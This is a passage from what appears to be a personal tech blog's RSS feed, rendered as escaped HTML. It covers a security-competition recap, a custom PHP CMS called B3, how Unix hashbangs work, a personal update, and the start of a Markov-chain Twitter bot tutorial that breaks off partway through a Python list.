    style=&quot;padding-bottom: 177.8481012658228%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAkABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAIEBQH/xAAWAQEBAQAAAAAAAAAAAAAAAAABAAL/2gAMAwEAAhADEAAAAddJOZqiEGROssxqms5zgVoE/wD/xAAdEAACAgIDAQAAAAAAAAAAAAABAgADEiERExQx/9oACAEBAAEFAjZxGs12T0V5m3Xe0VDXGyZQ0NjcVM4mdkHzMqoGv//EABcRAAMBAAAAAAAAAAAAAAAAAAABEBL/2gAIAQMBAT8BURhX/8QAGhEAAgIDAAAAAAAAAAAAAAAAAAECIRARE//aAAgBAgEBPwGT0UWdHn//xAAfEAACAgIBBQAAAAAAAAAAAAAAAREhAhBxAxIxM0H/2gAIAQEABj8CPBZangmUuT2dIydNlKS8GyGUV2ar7r//xAAdEAEAAgMAAwEAAAAAAAAAAAABABEhMUFRYXGB/9oACAEBAAE/IckTIy7jizMAGBfyJPos2ltYeU1KtUfsCRJqmOk/TXJgpL5G7V5XzL3m83CnWe2Z2iniOFwks//aAAwDAQACAAMAAAAQJAsw/A//xAAXEQEBAQEAAAAAAAAAAAAAAAABABEh/9oACAEDAQE/EAt2RmTBF//EABoRAQEAAgMAAAAAAAAAAAAAAAEAETEhQVH/2gAIAQIBAT8QDbuxEHN7kmZ3f//EAB8QAQEAAgIDAAMAAAAAAAAAAAERADEhQVFhcZGhsf/aAAgBAQABPxBYKgnkN/3A3m0IF50YAiXLVihHTRagB94ccFzSoO77+ZQhOg0mAYMOQXsvnONzCe/DjCAGKunrG8Sqmq8v4xRgoKGzxm2t6Zf2YkFtxOoKRUJ1l0JTRn//2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Me as the finals began&quot;
        title=&quot;Me as the finals began&quot;
        src=&quot;/static/b3c00ce0a681997b50c66978f9f92e64/828fb/IMG_4196.jpg&quot;
        srcset=&quot;/static/b3c00ce0a681997b50c66978f9f92e64/ff44c/IMG_4196.jpg 158w,
/static/b3c00ce0a681997b50c66978f9f92e64/a6688/IMG_4196.jpg 315w,
/static/b3c00ce0a681997b50c66978f9f92e64/828fb/IMG_4196.jpg 630w,
/static/b3c00ce0a681997b50c66978f9f92e64/acb04/IMG_4196.jpg 750w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;I blew through the multiple choice test and got on with the mission. Unfortunately, I introduced an error that would follow me throughout the mission when I configured the intrusion detection system Snort, which I then spent a half an hour to find. As a consequence, I only had time to finish two subtasks of the mission.&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/f5382a89fb95b2fbfa3133126efbb2e0/acb04/IMG_4786.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 177.8481012658228%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAkABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAMEBQEC/8QAFgEBAQEAAAAAAAAAAAAAAAAAAgEA/9oADAMBAAIQAxAAAAHY5XgC0wzWo+axe+z2mdGazg3/xAAfEAACAgEEAwAAAAAAAAAAAAABAgADEQQQEyISISP/2gAIAQEAAQUCgZW21C5rraoQYMvI46H9hlWN9J4xH6t0uzNMTx//xAAYEQADAQEAAAAAAAAAAAAAAAAAEBEBQf/aAAgBAwEBPwGVchFh/8QAGREBAAIDAAAAAAAAAAAAAAAAAAERECFB/9oACAECAQE/Ae4ra0pf/8QAHhAAAgIBBQEAAAAAAAAAAAAAAAERIQIQEiIxUYH/2gAIAQEABj8CKaekNwpsW2ih+nJ0UTJ2emcGR9P/xAAeEAADAQACAgMAAAAAAAAAAAAAAREhMUFRYXGR0f/aAAgBAQABPyHJadRnhkFLwLHaHFE3w9IK6a9EXeFSPxTgTTC9EYPULW6pmicdpDtJ+Yxt9Dtex//aAAwDAQACAAMAAAAQDAxCe9//xAAYEQEAAwEAAAAAAAAAAAAAAAABABARMf/aAAgBAwEBPxAIWhzCpycT/8QAGhEAAgIDAAAAAAAAAAAAAAAAAAEQESExcf/aAAgBAgEBPxBukRRlZnUNj//EAB8QAQADAQACAgMAAAAAAAAAAAEAESExUWFBcYGx8P/aAAgBAQABPxAAkANW8IwjnQDCb6gwxVbWe6jHsKdqd1jOw8RkA7Oi7Zs+AUtReMv72DfOFMhuATEaRP5jXGtqmiun49TCOw4FiiKVDuoL+4gS7uEfXkn/2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Me realizing that I had introduced an error&quot;
        title=&quot;Me realizing that I had introduced an error&quot;
        src=&quot;/static/f5382a89fb95b2fbfa3133126efbb2e0/828fb/IMG_4786.jpg&quot;
        srcset=&quot;/static/f5382a89fb95b2fbfa3133126efbb2e0/ff44c/IMG_4786.jpg 158w,
/static/f5382a89fb95b2fbfa3133126efbb2e0/a6688/IMG_4786.jpg 315w,
/static/f5382a89fb95b2fbfa3133126efbb2e0/828fb/IMG_4786.jpg 630w,
/static/f5382a89fb95b2fbfa3133126efbb2e0/acb04/IMG_4786.jpg 750w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The clock struck five. No one had achieved a full score.&lt;/p&gt;
&lt;p&gt;I wasn&apos;t particularily satisfied, and I was so convinced of my low performance that when colleagues asked me how the finals had went, I consistently answered &quot;I certainly won&apos;t be on the podium.&quot;&lt;/p&gt;
&lt;h2&gt;The conference&lt;/h2&gt;
&lt;p&gt;At the end of the first day of the conference the following week, where I amongst other things had seen security guru Bruce Schneier talk and gotten myself a signed copy of his book &quot;Data and Goliath&quot;, the presentations were over.&lt;/p&gt;
&lt;p&gt;From the program, I saw that there would now be an announcement of the winner of the Paranoia Challenge 2018, and thought to myself that I really didn&apos;t have to be there, as I wasn&apos;t a possible candidate for the podium anyway. I therefore saw an opportunity to make a phone call.&lt;/p&gt;
&lt;p&gt;As I reentered the hall 10 minutes later, I was congratulated by Bouvet-people saying &quot;Where were you? They announced your name. You came in &lt;a href=&quot;https://www.bouvet.no/bouvet-deler/paranoia-challenge-2018&quot;&gt;third&lt;/a&gt;!&quot;&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 500px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/975733a2a2d639622e87a76d3e194ef9/0b533/score-final.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 79.11392405063292%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAABcSAAAXEgFnn9JSAAADF0lEQVR42iVT227bRhQk0EaRSC65y71feNOSFCWKlGTJlmRbluMgNuK6Bow2cYD2qSgQtOgHtH3tQ78gP9D+aJkGmNeZMzPnHMfHZujTUahGgfZQDFgaKQulpUkVEONC4UYq4Bmgxo+Eh6gLsRciF4AIQ4fYgraSzLU5WFyrrwdeD7Ep5HlVPs71uf3K58jUJK6JKSKZAiJHkGBGmaCObDfpTZnd1NnNlK/GLwEZ0hzPSn3RqF1FZ3qANC/Xx7un/fV9d3qIZEaV4VqDiDqq3bNFQts8MOoloB5RLo0HowjmmkziF8NwGDAx2S4u3ra717P1AWsrkjHkcUikE6+vaGtok/mcjxD1WNzzPcxJnbIuH0I8DHm6vktWb9Lu2jR7WZ7QeNpLBFQ5xfEb3qZqWYVUAiw8pj2qAFN8bvmycBH1saqPz5PLd/nZt+P1nV1c5e0FS6aIxU5z+yRWuT6boTRBmQFc+kz5RLBmLFaFRwTAev7wsfvtU/Pwy+bnv7u3P2WzXVqfIpY63f33ZGrEspAnJW9zn3DvC7m15rSGXAGi1dUP1a+fLv/8Z/vHv/Xz77Y7rLaHJC+d1cN7uYiTk5xIhinuwyJGewm5miSHFjIZUAOnr9D+Q/bjX+ruI7anxerVZncxtoWzfnwWXWLWBclixCUUMmDS75VmViwKQETA4vLiO1AchsUxmr9JZ+fZdJtVC4il075+FOucd4XfV0XkFwCiWFPIpfX+L2x+/b7aP8XtTdpc5n3gyQlTeYioU+9vWaOxNW6IPUQA5oBwnxjWVnJl3TDyIK/O7qvN7bg7ptMzYxciLgnTIcJOuTnyRSoW40DFHmQBFn7EXMijselXOARw5ENT79L20i4u9bijMhMqQVhAiJ2s2bGuEvMcajUEyoXMRWLoRSjtnesR7H+Gs6xRths3W6YLRJTSRgiJEHHicvl58jJj8zSIP9/jwKeDQKKyt6MHIX9BKxZXKp+JtObGRkwDRKWUgjFHp7UqS1lNZT2jSRFEmqoMq0LakmaJC6mPeCRiqjMe51hoiHkAMQBQMPIfqhR4L5Ob+HwAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Final score from Paranoia Challenge 2018&quot;
        title=&quot;Final score from Paranoia Challenge 2018&quot;
        src=&quot;/static/975733a2a2d639622e87a76d3e194ef9/0b533/score-final.png&quot;
        srcset=&quot;/static/975733a2a2d639622e87a76d3e194ef9/c26ae/score-final.png 158w,
/static/975733a2a2d639622e87a76d3e194ef9/6bdcf/score-final.png 315w,
/static/975733a2a2d639622e87a76d3e194ef9/0b533/score-final.png 500w&quot;
        sizes=&quot;(max-width: 500px) 100vw, 500px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Hello World]]></title><description><![CDATA[Welcome!
With my personal website finally up and running, I thought I'd do a short technical writeup about the system that powers the site…]]></description><link>https://eivindarvesen.com/blog/2016/11/14/hello-world</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2016/11/14/hello-world</guid><content:encoded>&lt;p&gt;Welcome!
With my personal website finally up and running, I thought I&apos;d do a short technical writeup about the system that powers the site.
Behind this site is a Content Management System geared towards developers and power users, the features of which have evolved from my own needs during the development of this site.&lt;/p&gt;
&lt;p&gt;Without further ado, I present to you...&lt;/p&gt;
&lt;h1&gt;Blablablog&lt;/h1&gt;
&lt;p&gt;My site is based on a custom written, open source CMS called &lt;a href=&quot;https://github.com/EivindArvesen/b3&quot;&gt;B3&lt;/a&gt; - so named because its working title was &quot;BlaBlaBlog&quot;; as I didn&apos;t feel very inventive, I just shortened it.&lt;/p&gt;
&lt;p&gt;B3 does not have an interface for editing and administering content – instead the user must do this manually by writing to and handling files.&lt;/p&gt;
&lt;p&gt;The workflow is more or less as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Write a page or post in &lt;a href=&quot;https://en.wikipedia.org/wiki/Markdown&quot;&gt;Markdown&lt;/a&gt;, with metadata (title, tags, etc.) in &lt;a href=&quot;https://jekyllrb.com/docs/frontmatter/&quot;&gt;Jekyll-style YAML front matter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Add and commit it to a local &lt;a href=&quot;https://git-scm.com&quot;&gt;Git&lt;/a&gt; repository&lt;/li&gt;
&lt;li&gt;Push the git repo live&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Using Git as a part of the solution means that it is trivial to revert to a previous version of a post (e.g. rolling back to how a post was before a recent edit).&lt;/p&gt;
&lt;h2&gt;Behind the scenes&lt;/h2&gt;
&lt;p&gt;What happens when I push my changes live is that the server runs a post-receive hook that checks out the master branch and populates a database with pages, posts, etc.&lt;/p&gt;
&lt;p&gt;Only content, associated files such as images and attachments, as well as any custom themes, are versioned in the repository, with system (B3) updates handled via &lt;a href=&quot;https://getcomposer.org&quot;&gt;Composer&lt;/a&gt; both live and locally.&lt;/p&gt;
&lt;h2&gt;Technology&lt;/h2&gt;
&lt;p&gt;B3 is built on PHP and MySQL. Some key libraries and frameworks used include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;a href=&quot;https://lumen.laravel.com&quot;&gt;Lumen&lt;/a&gt; micro-framework by Laravel&lt;/li&gt;
&lt;li&gt;The &lt;a href=&quot;https://kurenai.readme.io&quot;&gt;Kurenai&lt;/a&gt; document parsing library&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://getbootstrap.com&quot;&gt;Bootstrap&lt;/a&gt; as a basis for the default theme&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;B3 uses dotenv for environment specific configuration, as well as a system configuration file for things like site title, theme selection, social account names, etc.&lt;/p&gt;
&lt;p&gt;The default theme includes a task runner (&lt;a href=&quot;http://gruntjs.com&quot;&gt;Grunt&lt;/a&gt;) with some practical features for local development, including live reloading, LESS-compilation, auto updating the local database with new content upon file changes, etc.&lt;/p&gt;
&lt;p&gt;The system uses caching aggressively, with extremely long cache times for things like CSS and JavaScript. This is circumvented with &lt;a href=&quot;https://www.keycdn.com/support/what-is-cache-busting/&quot;&gt;cache busting&lt;/a&gt; upon updates to relevant files.&lt;/p&gt;
&lt;h2&gt;Can I try it?&lt;/h2&gt;
&lt;p&gt;While B3 is currently available on GitHub and via Composer, it is not really suitable for public use as of yet. It already includes support for automated installation on an ssh-enabled webserver via a bash script, but proper documentation and some code cleanup remains to be done.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Hashbangs]]></title><description><![CDATA[If you're a programmer, you might know what a hashbang (also known as a shebang) is – a shellscript might, for instance, start with the…]]></description><link>https://eivindarvesen.com/blog/2016/11/23/hashbangs</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2016/11/23/hashbangs</guid><content:encoded>&lt;p&gt;If you&apos;re a programmer, you might know what a hashbang (also known as a shebang) is – a shellscript might, for instance, start with the hashbang &lt;code class=&quot;language-text&quot;&gt;#!/bin/sh&lt;/code&gt; on the first line, which includes an absolute path to the &lt;code class=&quot;language-text&quot;&gt;sh&lt;/code&gt; interpreter.
But what do hashbangs do?&lt;/p&gt;
&lt;h1&gt;Hashbangs - how do they work?&lt;/h1&gt;
&lt;p&gt;In effect, hashbangs act as &lt;em&gt;interpreter directives&lt;/em&gt; on unix systems, which means that when a script containing a hashbang is run as a program, the interpreter specified in the hashbang is run instead, and the path to the script being run is passed as an argument to the specified interpreter.&lt;/p&gt;
&lt;p&gt;As the hashbang is usually ignored by the language interpreters themselves, they enable users to run something like &lt;code class=&quot;language-text&quot;&gt;./path/to/script.py&lt;/code&gt; and have the script executed as a Python program automatically - provided it is executable and contains a hashbang that specifies a Python interpreter.&lt;/p&gt;
&lt;p&gt;This means that when we run the last command, what is really being run is something roughly equivalent to &lt;code class=&quot;language-text&quot;&gt;python path/to/script.py&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Portability&lt;/h2&gt;
&lt;p&gt;Not every system has the same file system layout, though. For instance, Python might be installed in &lt;code class=&quot;language-text&quot;&gt;/usr/bin/python&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;/usr/local/bin/python&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;/home/username/bin/python&lt;/code&gt;, or possibly in some other location.
Though there are &lt;em&gt;some&lt;/em&gt; conventions (e.g. &lt;a href=&quot;https://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard&quot;&gt;FHS&lt;/a&gt;) in the world of &lt;a href=&quot;https://en.wikipedia.org/wiki/Unix&quot;&gt;Unices&lt;/a&gt; and Unix-like systems with regards to directory structure, &lt;a href=&quot;https://en.wikipedia.org/wiki/POSIX&quot;&gt;POSIX&lt;/a&gt; does &lt;strong&gt;not&lt;/strong&gt; standardize these locations (it standardizes &lt;a href=&quot;http://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap10.html#tag_10&quot;&gt;very little&lt;/a&gt;).
Because of this, a more portable way of specifying an interpreter might be needed.&lt;/p&gt;
&lt;p&gt;One solution with regard to portability is to look up the path to the wanted interpreter via &lt;code class=&quot;language-text&quot;&gt;env&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This can be done by replacing the hashbang of this type:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token shebang important&quot;&gt;#!/bin/python&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;with one of this type:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token shebang important&quot;&gt;#!/usr/bin/env python&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This solution works by the &lt;code class=&quot;language-text&quot;&gt;env&lt;/code&gt; utility invoking the first &lt;code class=&quot;language-text&quot;&gt;python&lt;/code&gt; it finds in the user&apos;s &lt;code class=&quot;language-text&quot;&gt;$PATH&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;However, it might introduce problems for some distros and systems with &quot;exotic&quot; configurations.
For more info about this, see &lt;a href=&quot;https://en.wikipedia.org/wiki/Shebang_(Unix)#Portability&quot;&gt;this Wikipedia article&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[A little break]]></title><description><![CDATA[Wow! The start of this year went by so fast. I've kept busy, though. A quick summary: Still writing and arguing about why mass surveillance…]]></description><link>https://eivindarvesen.com/blog/2019/04/24/a-little-break</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2019/04/24/a-little-break</guid><content:encoded>&lt;p&gt;Wow! The start of this year went by so fast.&lt;/p&gt;
&lt;p&gt;I&apos;ve kept busy, though. A quick summary:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Still &lt;a href=&quot;https://nrkbeta.no/2019/02/18/regjeringens-forklaringsproblem/&quot;&gt;writing&lt;/a&gt; and &lt;a href=&quot;http://www.cw.no/artikkel/sikkerhet/digitalt-grenseforsvar-samfunnet-behover-personvern&quot;&gt;arguing&lt;/a&gt; about why mass surveillance is expensive, ineffective, totalitarian, illiberal and anti-democratic – pretty much a bad idea.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A few months a ago I was given responsibility for the subject groups &quot;Security&quot;, as well as &quot;DevOps and LEAN&quot; at work – which has predictably lead to a few more meetings, organizational work and so on.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;I&apos;ve also started getting active in writing proposals for various conferences, mostly around webdev, security, privacy, machine learning and HCI.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Finally finished an MVP and did a private Alpha-test of an application based on some ideas in HCI and OS-interfaces I&apos;ve been working on for a few years.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Got sick (twice!)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Went on vacation (twice!)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Wedding in Cuba&lt;/li&gt;
&lt;li&gt;Roadtrip in Texas&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Got a lot brewing these days though, so stay tuned!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Paging Dr. Dankenstein]]></title><description><![CDATA[Inspired by Yan Zhu's Icowid, a bot that tweets generated sentences based on Cryptocurrency ICO's and Erowid "trip reports" (drug trip…]]></description><link>https://eivindarvesen.com/blog/2018/06/20/paging-dr-dankenstein</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2018/06/20/paging-dr-dankenstein</guid><content:encoded>&lt;p&gt;Inspired by &lt;a href=&quot;https://diracdeltas.github.io/blog/&quot;&gt;Yan Zhu&lt;/a&gt;&apos;s &lt;a href=&quot;https://twitter.com/icowid&quot;&gt;Icowid&lt;/a&gt;, a bot that tweets generated sentences based on Cryptocurrency &lt;a href=&quot;https://en.wikipedia.org/wiki/Initial_coin_offering&quot;&gt;ICO&lt;/a&gt;&apos;s and &lt;a href=&quot;https://en.wikipedia.org/wiki/Erowid&quot;&gt;Erowid&lt;/a&gt; &quot;trip reports&quot; (drug trip stories), I recently decided to make my own Markov Chain Twitter bot. I ended up creating &lt;a href=&quot;https://twitter.com/KarlJobs&quot;&gt;Karl Jobs&lt;/a&gt;, which generates a tweet based on Karl Marx and Steve Jobs corpora every four hours.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;P.S. All the code in this post is available on GitHub as a generator called &lt;a href=&quot;https://github.com/EivindArvesen/dankenstein&quot;&gt;Dankenstein&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;For those of you that don&apos;t know, a &lt;a href=&quot;https://en.oxforddictionaries.com/definition/us/markov_chain&quot;&gt;Markov Chain&lt;/a&gt; is a stochastic model describing a sequence of possible events in which the probability of each event depends only on the state attained in the previous event. In our context, this basically means that each next word in a generated sentence is chosen based on the probability of it following the previous word; For instance, given the word &quot;dank&quot; the next word chosen would probably be &quot;meme&quot;, if this sequence of the words were prevalent in the training data.&lt;/p&gt;
&lt;p&gt;In this post I&apos;ll be explaining some of what I did when creating my bot, &lt;a href=&quot;https://twitter.com/KarlJobs&quot;&gt;Karl Jobs&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/88cd95daffcb6973bbaafa52f497f6d2/aa440/karlJobs.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 37.34177215189873%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVR42mP4jwH+/fsHJJ8+fbpjx47Lly8fO3bs7du3cHFkwIBV5/v373t7e48fPw404uzZs9evX/+PDWDXvHr16ri4uMmTJy9ZsmQZGNy9exfTcgZMnV+/fi0uLo6Ojk5JSQFqmz17dkZGBtAhBDTDpefMmePj4+Pu7h4eHt7f35+Tk3PgwAGg+O/fv5H1o2v++/cvkNy9e3ddXd38+fPXrVu3cePG5uZmYLAR5ewfP340NDQA7Vy4cOHy5ctTU1N1dHSEhYUdHR2BofDr1y+4SgA5DWbMgMckYQAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Karl Jobs&quot;
        title=&quot;Karl Jobs&quot;
        src=&quot;/static/88cd95daffcb6973bbaafa52f497f6d2/f058b/karlJobs.png&quot;
        srcset=&quot;/static/88cd95daffcb6973bbaafa52f497f6d2/c26ae/karlJobs.png 158w,
/static/88cd95daffcb6973bbaafa52f497f6d2/6bdcf/karlJobs.png 315w,
/static/88cd95daffcb6973bbaafa52f497f6d2/f058b/karlJobs.png 630w,
/static/88cd95daffcb6973bbaafa52f497f6d2/40601/karlJobs.png 945w,
/static/88cd95daffcb6973bbaafa52f497f6d2/78612/karlJobs.png 1260w,
/static/88cd95daffcb6973bbaafa52f497f6d2/aa440/karlJobs.png 1500w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;If you want to follow along, you should check out the code from Dankenstein&apos;s GitHub-repo.&lt;/p&gt;
&lt;h1&gt;Mash my bits up&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;Most of the following code examples are in &lt;code class=&quot;language-text&quot;&gt;python&lt;/code&gt; or &lt;code class=&quot;language-text&quot;&gt;bash&lt;/code&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;If you want to follow along and try to code something yourself, you&apos;ll need:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A (new) twitter account
&lt;ul&gt;
&lt;li&gt;The email you sign up with can not be associated with another Twitter account
&lt;ul&gt;
&lt;li&gt;Pro tip: Gmail doesn&apos;t differentiate between &quot;&lt;a href=&quot;mailto:karl.jobs@gmail.com&quot;&gt;karl.jobs@gmail.com&lt;/a&gt;&quot; and &quot;&lt;a href=&quot;mailto:karljobs@gmail.com&quot;&gt;karljobs@gmail.com&lt;/a&gt;&quot; - if you own one, you&apos;ll get mail sent to the other&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;You&apos;ll also need to register your phone number with the account (under &quot;settings&quot;) to be allowed to create an appplication&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;A twitter application (register at &lt;a href=&quot;http://dev.twitter.com/&quot;&gt;dev.twitter.com&lt;/a&gt;) with authentication keys for the account (&lt;a href=&quot;https://dev.twitter.com/oauth&quot;&gt;read more&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When I started out, I wanted to create a bot that was a mashup of distinct sources. I tried to come up with a few worthy candidates:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;candidates &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;King James Bible&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;ICOs&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;Erowid&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;Cannibal Corpse Lyrics&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;Deepak Chopra&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;Elon Musk&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;Mark Zuckerberg Testimony&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;Richard Stallman&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;The Communist Manifesto&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;Frankenstein&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;The Satanic Bible&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
